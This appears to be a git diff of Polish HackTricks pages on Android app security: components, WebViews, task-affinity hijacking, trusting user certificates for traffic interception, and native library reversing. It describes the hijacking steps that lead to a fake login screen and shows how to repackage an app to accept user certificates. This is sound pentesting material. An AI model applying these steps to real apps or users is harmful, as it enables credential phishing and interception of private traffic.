||||
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem reszty aplikacji.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -298,9 +290,9 @@ super.onCreate();
|
|||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na różne aplikacje, co sprawia, że usługi są kluczowe dla **długoterminowych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używana jest metoda `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punktu wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używana jest metoda `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku manifestu Androida:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -308,7 +300,7 @@ Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danyc
|
|||
|
||||
**Broadcast receivers** działają jako słuchacze w systemie wiadomości, umożliwiając wielu aplikacjom reagowanie na te same wiadomości z systemu. Aplikacja może **zarejestrować odbiornik** na **dwa główne sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą API **`registerReceiver`**. W Manifeście, transmisje są filtrowane za pomocą uprawnień, podczas gdy dynamicznie zarejestrowane odbiorniki mogą również określać uprawnienia podczas rejestracji.
|
||||
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które transmisje uruchamiają odbiornik. Gdy odpowiednia transmisja zostanie wysłana, wywoływana jest metoda **`onReceive`** odbiornika, co umożliwia aplikacji odpowiednią reakcję, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które transmisje uruchamiają odbiornik. Gdy odpowiednia transmisja zostanie wysłana, metoda **`onReceive`** odbiornika jest wywoływana, co umożliwia aplikacji odpowiednią reakcję, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
|
||||
|
||||
Transmisje mogą być **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, lub **synchronizowane**, gdzie odbiorniki otrzymują transmisję na podstawie ustalonych priorytetów. Ważne jest jednak, aby zauważyć potencjalne ryzyko bezpieczeństwa, ponieważ każda aplikacja może nadać sobie priorytet, aby przechwycić transmisję.
|
||||
|
||||
|
@ -316,7 +308,7 @@ Aby zrozumieć funkcjonalność odbiornika, należy poszukać metody **`onReceiv
|
|||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** są niezbędne do **dzielenia się danymi strukturalnymi** między aplikacjami, podkreślając znaczenie wdrażania **uprawnień** w celu zapewnienia bezpieczeństwa danych. Umożliwiają aplikacjom dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub internetu. Specyficzne uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontrolowania dostępu. Dodatkowo, tymczasowy dostęp może być przyznany poprzez ustawienia **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
**Content Providers** są niezbędne do **dzielenia się danymi strukturalnymi** między aplikacjami, podkreślając znaczenie wdrażania **uprawnień** w celu zapewnienia bezpieczeństwa danych. Umożliwiają aplikacjom dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub internetu. Specyficzne uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontrolowania dostępu. Dodatkowo, tymczasowy dostęp może być przyznany za pomocą ustawień **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
|
||||
Walidacja danych jest kluczowa, aby zapobiec lukom w zabezpieczeniach, takim jak SQL injection. Content Providers wspierają podstawowe operacje: `insert()`, `update()`, `delete()`, i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
|
||||
|
@ -344,14 +336,14 @@ For further information check:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treści z internetu lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na to, jak można testować ataki XSS.
|
||||
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
|
||||
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą ciasteczek** z główną przeglądarką urządzenia.
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą się ciasteczkami** z główną przeglądarką urządzenia.
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia bezpieczeństwa można zarządzać za pomocą klasy ````WebSettings````. Na przykład, wyłączenie JavaScript za pomocą ````setJavaScriptEnabled(false)```` może zapobiec atakom XSS.
|
||||
|
||||
|
@ -360,7 +352,7 @@ JavaScript "Bridge" pozwala obiektom Java na interakcję z JavaScript, wymagają
|
|||
Zezwolenie na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do Content Providers, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
|
||||
Aby kontrolować dostęp do plików:
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla niektórych zasobów, zapewniając, że są one używane tylko do treści, które nie są wrażliwe.
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla niektórych zasobów, zapewniając, że są one używane tylko do treści niewrażliwych.
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
|
@ -370,7 +362,7 @@ Aby kontrolować dostęp do plików:
|
|||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom na sprawdzenie aplikacji pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
|
||||
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom na sprawdzenie aplikacji pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
|
@ -385,23 +377,17 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,61 +15,48 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Zadanie, Stos Wsteczny i Aktywności na Pierwszym Planie
|
||||
|
||||
W Androidzie, **zadanie** to zasadniczo zestaw aktywności, z którymi użytkownicy wchodzą w interakcję, aby wykonać określone zadanie, zorganizowane w **stosie wstecznym**. Stos ten porządkuje aktywności na podstawie momentu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **aktywność na pierwszym planie**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **zadania na pierwszym planie**.
|
||||
W systemie Android, **zadanie** to zasadniczo zestaw aktywności, z którymi użytkownicy wchodzą w interakcję, aby wykonać określone zadanie, zorganizowane w **stogu**. Ten stóg porządkuje aktywności na podstawie momentu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **aktywność na pierwszym planie**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **zadania na pierwszym planie**.
|
||||
|
||||
Oto szybkie podsumowanie przejść między aktywnościami:
|
||||
|
||||
* **Aktywność 1** zaczyna jako jedyna aktywność na pierwszym planie.
|
||||
* Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do stosu wstecznego, przynosząc **Aktywność 2** na pierwszy plan.
|
||||
* Rozpoczęcie **Aktywności 3** przesuwa **Aktywność 1** i **Aktywność 2** dalej w stosie, z **Aktywnością 3** teraz na przodzie.
|
||||
* Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do stogu, przynosząc **Aktywność 2** na pierwszy plan.
|
||||
* Rozpoczęcie **Aktywności 3** przesuwa **Aktywność 1** i **Aktywność 2** dalej w stogu, z **Aktywnością 3** teraz na przodzie.
|
||||
* Zamknięcie **Aktywności 3** przywraca **Aktywność 2** na pierwszy plan, pokazując uproszczony mechanizm nawigacji zadań w Androidzie.
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||
|
||||
## Atak na afinity zadania
|
||||
## Task affinity attack
|
||||
|
||||
### Przegląd afinity zadania i trybów uruchamiania
|
||||
### Overview of Task Affinity and Launch Modes
|
||||
|
||||
W aplikacjach Android, **afinity zadania** określa preferowane zadanie dla aktywności, zazwyczaj zgodne z nazwą pakietu aplikacji. Ta konfiguracja jest kluczowa w tworzeniu aplikacji dowodowej (PoC) do demonstrowania ataku.
|
||||
W aplikacjach Android, **powiązanie z zadaniem** określa preferowane zadanie aktywności, zazwyczaj zgodne z nazwą pakietu aplikacji. Ta konfiguracja jest kluczowa w tworzeniu aplikacji dowodowej (PoC) do demonstrowania ataku.
|
||||
|
||||
### Tryby uruchamiania
|
||||
### Launch Modes
|
||||
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w ramach zadań. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze w oparciu o istniejące instancje aktywności i dopasowania afinity zadania. Wykorzystanie opiera się na zdolności aplikacji atakującego do naśladowania afinity zadania aplikacji docelowej, wprowadzając system Android w błąd, aby uruchomił aplikację atakującego zamiast zamierzonej aplikacji docelowej.
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w ramach zadań. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze w oparciu o istniejące instancje aktywności i dopasowania powiązania z zadaniem. Wykorzystanie opiera się na zdolności aplikacji atakującego do naśladowania powiązania z zadaniem aplikacji docelowej, wprowadzając system Android w błąd, aby uruchomił aplikację atakującego zamiast zamierzonego celu.
|
||||
|
||||
### Szczegółowe kroki ataku
|
||||
### Detailed Attack Steps
|
||||
|
||||
1. **Instalacja złośliwej aplikacji**: Ofiara instaluje aplikację atakującego na swoim urządzeniu.
|
||||
2. **Początkowa aktywacja**: Ofiara najpierw otwiera złośliwą aplikację, przygotowując urządzenie do ataku.
|
||||
3. **Próba uruchomienia aplikacji docelowej**: Ofiara próbuje otworzyć aplikację docelową.
|
||||
4. **Wykonanie przejęcia**: Z powodu dopasowanej afinity zadania, złośliwa aplikacja jest uruchamiana zamiast aplikacji docelowej.
|
||||
4. **Wykonanie przejęcia**: Z powodu dopasowania powiązania z zadaniem, złośliwa aplikacja jest uruchamiana zamiast aplikacji docelowej.
|
||||
5. **Oszustwo**: Złośliwa aplikacja wyświetla fałszywy ekran logowania przypominający aplikację docelową, oszukując użytkownika, aby wprowadził wrażliwe informacje.
|
||||
|
||||
Aby uzyskać praktyczną implementację tego ataku, zapoznaj się z repozytorium Task Hijacking Strandhogg na GitHubie: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
### Środki zapobiegawcze
|
||||
### Prevention Measures
|
||||
|
||||
Aby zapobiec takim atakom, deweloperzy mogą ustawić `taskAffinity` na pusty ciąg i wybrać tryb uruchamiania `singleInstance`, zapewniając izolację ich aplikacji od innych. Dostosowanie funkcji `onBackPressed()` oferuje dodatkową ochronę przed przejęciem zadań.
|
||||
|
||||
## **Referencje**
|
||||
## **References**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,26 +1,18 @@
|
|||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Niektóre aplikacje nie akceptują certyfikatów pobranych przez użytkownika, więc aby przeanalizować ruch sieciowy dla niektórych aplikacji, musimy dekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
|
||||
# Automatycznie
|
||||
|
@ -45,7 +37,7 @@ Po dodaniu:
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Teraz przejdź do folderu **res/xml** i utwórz/zmodyfikuj plik o nazwie network\_security\_config.xml z następującą zawartością:
|
||||
Teraz przechodzimy do folderu **res/xml** i tworzymy/modyfikujemy plik o nazwie network\_security\_config.xml z następującą zawartością:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -65,15 +57,15 @@ Następnie zapisz plik i wyjdź ze wszystkich katalogów, a następnie zbuduj ap
|
|||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj tę sekcję strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,70 +15,46 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**For further information check:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
Aplikacje Android mogą korzystać z bibliotek natywnych, zazwyczaj napisanych w C lub C++, do zadań wymagających dużej wydajności. Twórcy złośliwego oprogramowania również używają tych bibliotek, ponieważ są trudniejsze do inżynierii odwrotnej niż kod bajtowy DEX. Sekcja ta podkreśla umiejętności inżynierii odwrotnej dostosowane do Androida, zamiast uczyć języków asemblera. Wersje bibliotek dla ARM i x86 są dostarczane dla zapewnienia kompatybilności.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
### Key Points:
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Aby uzyskać więcej informacji, sprawdź:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisanych w C lub C++, do zadań wymagających dużej wydajności. Twórcy złośliwego oprogramowania również korzystają z tych bibliotek, ponieważ są trudniejsze do inżynierii odwrotnej niż kod bajtowy DEX. Sekcja ta podkreśla umiejętności inżynierii odwrotnej dostosowane do Androida, zamiast uczyć języków asemblera. Wersje bibliotek dla ARM i x86 są dostarczane dla zapewnienia kompatybilności.
|
||||
|
||||
### Kluczowe punkty:
|
||||
|
||||
* **Biblioteki natywne w aplikacjach Android:**
|
||||
* **Native Libraries in Android Apps:**
|
||||
* Używane do zadań wymagających dużej wydajności.
|
||||
* Napisane w C lub C++, co utrudnia inżynierię odwrotną.
|
||||
* Znajdują się w formacie `.so` (obiekt współdzielony), podobnie jak binaria w systemie Linux.
|
||||
* Znajdują się w formacie `.so` (shared object), podobnym do binariów Linuxa.
|
||||
* Twórcy złośliwego oprogramowania preferują kod natywny, aby utrudnić analizę.
|
||||
* **Java Native Interface (JNI) i Android NDK:**
|
||||
* **Java Native Interface (JNI) & Android NDK:**
|
||||
* JNI pozwala na implementację metod Java w kodzie natywnym.
|
||||
* NDK to zestaw narzędzi specyficznych dla Androida do pisania kodu natywnego.
|
||||
* JNI i NDK łączą kod Java (lub Kotlin) z bibliotekami natywnymi.
|
||||
* **Ładowanie i wykonywanie bibliotek:**
|
||||
* **Library Loading & Execution:**
|
||||
* Biblioteki są ładowane do pamięci za pomocą `System.loadLibrary` lub `System.load`.
|
||||
* JNI\_OnLoad jest wykonywane po załadowaniu biblioteki.
|
||||
* Metody natywne zadeklarowane w Javie łączą się z funkcjami natywnymi, umożliwiając wykonanie.
|
||||
* **Łączenie metod Java z funkcjami natywnymi:**
|
||||
* **Linkowanie dynamiczne:** Nazwy funkcji w bibliotekach natywnych pasują do określonego wzoru, co umożliwia automatyczne linkowanie.
|
||||
* **Linkowanie statyczne:** Używa `RegisterNatives` do linkowania, co zapewnia elastyczność w nazewnictwie funkcji i strukturze.
|
||||
* **Narzędzia i techniki inżynierii odwrotnej:**
|
||||
* **Linking Java Methods to Native Functions:**
|
||||
* **Dynamic Linking:** Nazwy funkcji w bibliotekach natywnych pasują do określonego wzoru, co umożliwia automatyczne łączenie.
|
||||
* **Static Linking:** Używa `RegisterNatives` do łączenia, co zapewnia elastyczność w nazewnictwie funkcji i strukturze.
|
||||
* **Reverse Engineering Tools and Techniques:**
|
||||
* Narzędzia takie jak Ghidra i IDA Pro pomagają w analizie bibliotek natywnych.
|
||||
* `JNIEnv` jest kluczowe dla zrozumienia funkcji JNI i interakcji.
|
||||
* Dostarczono ćwiczenia do praktyki ładowania bibliotek, łączenia metod i identyfikowania funkcji natywnych.
|
||||
* Zapewnione są ćwiczenia do praktyki ładowania bibliotek, łączenia metod i identyfikowania funkcji natywnych.
|
||||
|
||||
### Zasoby:
|
||||
### Resources:
|
||||
|
||||
* **Nauka asemblera ARM:**
|
||||
* **Learning ARM Assembly:**
|
||||
* Sugerowane dla głębszego zrozumienia podstawowej architektury.
|
||||
* [Podstawy asemblera ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) z Azeria Labs jest zalecane.
|
||||
* **Dokumentacja JNI i NDK:**
|
||||
* [Specyfikacja JNI Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [Porady JNI Androida](https://developer.android.com/training/articles/perf-jni)
|
||||
* [Rozpoczęcie pracy z NDK](https://developer.android.com/ndk/guides/)
|
||||
* **Debugowanie bibliotek natywnych:**
|
||||
* [Debugowanie bibliotek natywnych Androida za pomocą dekompilatora JEB](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) z Azeria Labs jest zalecane.
|
||||
* **JNI & NDK Documentation:**
|
||||
* [Oracle's JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [Android's JNI Tips](https://developer.android.com/training/articles/perf-jni)
|
||||
* [Getting Started with the NDK](https://developer.android.com/ndk/guides/)
|
||||
* **Debugging Native Libraries:**
|
||||
